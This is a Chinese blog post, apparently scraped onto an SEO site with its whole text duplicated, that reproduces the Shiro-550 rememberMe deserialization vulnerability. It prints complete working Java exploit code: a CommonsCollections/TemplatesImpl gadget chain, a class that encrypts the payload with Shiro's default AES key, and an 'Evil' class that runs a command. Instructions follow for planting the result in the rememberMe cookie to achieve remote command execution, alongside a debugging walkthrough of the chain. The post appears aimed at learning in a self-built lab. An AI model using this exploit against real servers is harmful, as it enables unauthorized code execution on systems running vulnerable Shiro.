Shiro-550反序列化漏洞如何通过长尾词构造进行攻击?

2026-04-11 06:241阅读0评论SEO基础
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计1480个文字,预计阅读时间需要6分钟。

Shiro-550反序列化漏洞如何通过长尾词构造进行攻击?

1. 漏洞成因:为了使浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie中的rememberMe字段中,下次读取时进行解密和反序列化。但在Shiro 1.2.4版本中存在漏洞。

1. 漏洞成因

为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞

2. 漏洞复现 POC:
点击查看代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; /* HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()-> TiedMapEntry#getValue() -> LazyMap#get() -> InvokerTransformer#transform() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass() */ public class CC_Shiro { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public byte[] getPayload(byte[] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("getClass", null, null); // 这里是查看了P牛的文章,在CC6中可以不适用ysoserial中原本的HashSet,直接使用HashMap,因为HashMap的readObject()就直接调用到了hash()方法 Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tme = new TiedMapEntry(outerMap, obj); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.clear(); setFieldValue(transformer, "iMethodName", "newTransformer"); // ================== // 生成序列化字符串 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close(); return barr.toByteArray(); } }

再写一个类来调用POC类中的getPayload方法同时传入恶意命令的字节码,因为这条链的命令执行方式是通过最后的defineClass()进行类加载执行,并将返回的序列化后的数据通过shiro的加密方式进行加密

点击查看代码

import javassist.ClassPool; import javassist.CtClass; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource; public class Main { public static void main(String []args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName()); byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode()); AesCipherService aes = new AesCipherService(); byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }

最后还有一个用来生成命令执行字节码的类,分析过CC3就知道,必须继承AbstractTranslet同时实现两个抽象方法

点击查看代码

import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class Evil extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public Evil() throws Exception { super(); System.out.println("Hello TemplatesImpl"); Runtime.getRuntime().exec("calc.exe"); } }

总的代码逻辑就是Main函数启动,首先通过javassti将Evil类转成字节码然后传递给CC_Shiro的getPayload函数,在其中执行完构造好的代码后返回恶意的序列化内容,将返回的内容以shiro默认秘钥和AesCipherService类来进行加密,加密后的内容输出,而这就是我们需要的payload内容,将其替换shiro框架Cookie中的rememberMe字段发送给服务端即可造成命令执行

利用链分析

HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()-> TiedMapEntry#getValue() ->
LazyMap#get() -> InvokerTransformer#transform() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

总体就像前面是CC6的前半部分加上CC4后半部分通过类加载进行命令执行(这里查看了P牛的文章,在CC6中可以不适用ysoserial中原本的HashSet,直接使用HashMap,因为HashMap的readObject()就直接调用到了hash()方法),所以这条链就直接以HashMap#readObject()作为入口

为了方便调试这里在POC代码随便改改,把反序列化部分也加上

点击查看代码

package com.govuln.shiroattack; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; /* HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()-> TiedMapEntry#getValue() -> LazyMap#get() -> InvokerTransformer#transform() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass() */ public class CommonsCollectionsShiro { public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName()); new CommonsCollectionsShiro().getPayload(clazz.toBytecode()); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public byte[] getPayload(byte[] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("getClass", null, null); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tme = new TiedMapEntry(outerMap, obj); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.clear(); setFieldValue(transformer, "iMethodName", "newTransformer"); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("serialize")); outputStream.writeObject(expMap); outputStream.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize")); in.readObject(); // ================== // 生成序列化字符串 // ByteArrayOutputStream barr = new ByteArrayOutputStream(); // ObjectOutputStream oos = new ObjectOutputStream(barr); // oos.writeObject(expMap); // oos.close(); // return barr.toByteArray(); return new byte[]{}; } }

这条链与之前CC链最不同的点就在于new TiedMapEntry的时候直接把TemplatesImpl对象作为key传入,而这个key会作为LazyMap#get(key)方法的参数,最终作为InvokerTransformer#transform(key)的参数,实现反射调用TemplatesImpl#newTransformer(),后面就是CC3的命令执行流程了,这样就可以将前后两部分拼接起来

这样做的目的是因为在shiro中不能使用原本CC6的Transformer数组,我们只能进行改造使其编程没有数组的形式,原因可以参照下面的参考文章,简单来说就是如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误,所以有Transformer数组是反序列化会出异常而无法正常执行下去

因此我们发现了TiedMapEntry构造函数和getValue()函数的配合能直接让
InvokerTransformer#transform函数的参数input为TemplatesImpl的对象,这样就可以直接反射调用到TemplatesImpl#newTransformer()方法

接下来进行下调试复现
在HashMap#readObject()中的hash()函数这下断点开始调试

进入hash方法

进入hashcode方法

再进入TiedMapEntry的getValue,此时this.map是LazyMap,而this.key正是TemplatesImpl对象,它是在new TiedMapEntry时在构造方法传入的

进入get方法后后面就是CC3后面的过程

利用生成的payload完成复现

运行Main.java就可以生成payload

自己搭建一个有该漏洞的shiro版本的靶场
将payload替换rememberMe,即可命令执行

参考文章:www.anquanke.com/post/id/192619、《java安全漫谈15》-phith0n

It is never too late to learn 个人博客:yiaho.cn

Shiro-550反序列化漏洞如何通过长尾词构造进行攻击?

本文共计1480个文字,预计阅读时间需要6分钟。

Shiro-550反序列化漏洞如何通过长尾词构造进行攻击?

1. 漏洞成因:为了使浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie中的rememberMe字段中,下次读取时进行解密和反序列化。但在Shiro 1.2.4版本中存在漏洞。

1. 漏洞成因

为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞

2. 漏洞复现 POC:
点击查看代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; /* HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()-> TiedMapEntry#getValue() -> LazyMap#get() -> InvokerTransformer#transform() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass() */ public class CC_Shiro { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public byte[] getPayload(byte[] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("getClass", null, null); // 这里是查看了P牛的文章,在CC6中可以不适用ysoserial中原本的HashSet,直接使用HashMap,因为HashMap的readObject()就直接调用到了hash()方法 Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tme = new TiedMapEntry(outerMap, obj); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.clear(); setFieldValue(transformer, "iMethodName", "newTransformer"); // ================== // 生成序列化字符串 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close(); return barr.toByteArray(); } }

再写一个类来调用POC类中的getPayload方法同时传入恶意命令的字节码,因为这条链的命令执行方式是通过最后的defineClass()进行类加载执行,并将返回的序列化后的数据通过shiro的加密方式进行加密

点击查看代码

import javassist.ClassPool; import javassist.CtClass; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource; public class Main { public static void main(String []args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName()); byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode()); AesCipherService aes = new AesCipherService(); byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }

最后还有一个用来生成命令执行字节码的类,分析过CC3就知道,必须继承AbstractTranslet同时实现两个抽象方法

点击查看代码

import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class Evil extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public Evil() throws Exception { super(); System.out.println("Hello TemplatesImpl"); Runtime.getRuntime().exec("calc.exe"); } }

总的代码逻辑就是Main函数启动,首先通过javassti将Evil类转成字节码然后传递给CC_Shiro的getPayload函数,在其中执行完构造好的代码后返回恶意的序列化内容,将返回的内容以shiro默认秘钥和AesCipherService类来进行加密,加密后的内容输出,而这就是我们需要的payload内容,将其替换shiro框架Cookie中的rememberMe字段发送给服务端即可造成命令执行

利用链分析

HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()-> TiedMapEntry#getValue() ->
LazyMap#get() -> InvokerTransformer#transform() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

总体就像前面是CC6的前半部分加上CC4后半部分通过类加载进行命令执行(这里查看了P牛的文章,在CC6中可以不适用ysoserial中原本的HashSet,直接使用HashMap,因为HashMap的readObject()就直接调用到了hash()方法),所以这条链就直接以HashMap#readObject()作为入口

为了方便调试这里在POC代码随便改改,把反序列化部分也加上

点击查看代码

package com.govuln.shiroattack; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; /* HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()-> TiedMapEntry#getValue() -> LazyMap#get() -> InvokerTransformer#transform() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass() */ public class CommonsCollectionsShiro { public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName()); new CommonsCollectionsShiro().getPayload(clazz.toBytecode()); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public byte[] getPayload(byte[] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("getClass", null, null); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tme = new TiedMapEntry(outerMap, obj); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.clear(); setFieldValue(transformer, "iMethodName", "newTransformer"); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("serialize")); outputStream.writeObject(expMap); outputStream.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize")); in.readObject(); // ================== // 生成序列化字符串 // ByteArrayOutputStream barr = new ByteArrayOutputStream(); // ObjectOutputStream oos = new ObjectOutputStream(barr); // oos.writeObject(expMap); // oos.close(); // return barr.toByteArray(); return new byte[]{}; } }

这条链与之前CC链最不同的点就在于new TiedMapEntry的时候直接把TemplatesImpl对象作为key传入,而这个key会作为LazyMap#get(key)方法的参数,最终作为InvokerTransformer#transform(key)的参数,实现反射调用TemplatesImpl#newTransformer(),后面就是CC3的命令执行流程了,这样就可以将前后两部分拼接起来

这样做的目的是因为在shiro中不能使用原本CC6的Transformer数组,我们只能进行改造使其编程没有数组的形式,原因可以参照下面的参考文章,简单来说就是如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误,所以有Transformer数组是反序列化会出异常而无法正常执行下去

因此我们发现了TiedMapEntry构造函数和getValue()函数的配合能直接让
InvokerTransformer#transform函数的参数input为TemplatesImpl的对象,这样就可以直接反射调用到TemplatesImpl#newTransformer()方法

接下来进行下调试复现
在HashMap#readObject()中的hash()函数这下断点开始调试

进入hash方法

进入hashcode方法

再进入TiedMapEntry的getValue,此时this.map是LazyMap,而this.key正是TemplatesImpl对象,它是在new TiedMapEntry时在构造方法传入的

进入get方法后后面就是CC3后面的过程

利用生成的payload完成复现

运行Main.java就可以生成payload

自己搭建一个有该漏洞的shiro版本的靶场
将payload替换rememberMe,即可命令执行

参考文章:www.anquanke.com/post/id/192619、《java安全漫谈15》-phith0n

It is never too late to learn 个人博客:yiaho.cn

Shiro-550反序列化漏洞如何通过长尾词构造进行攻击?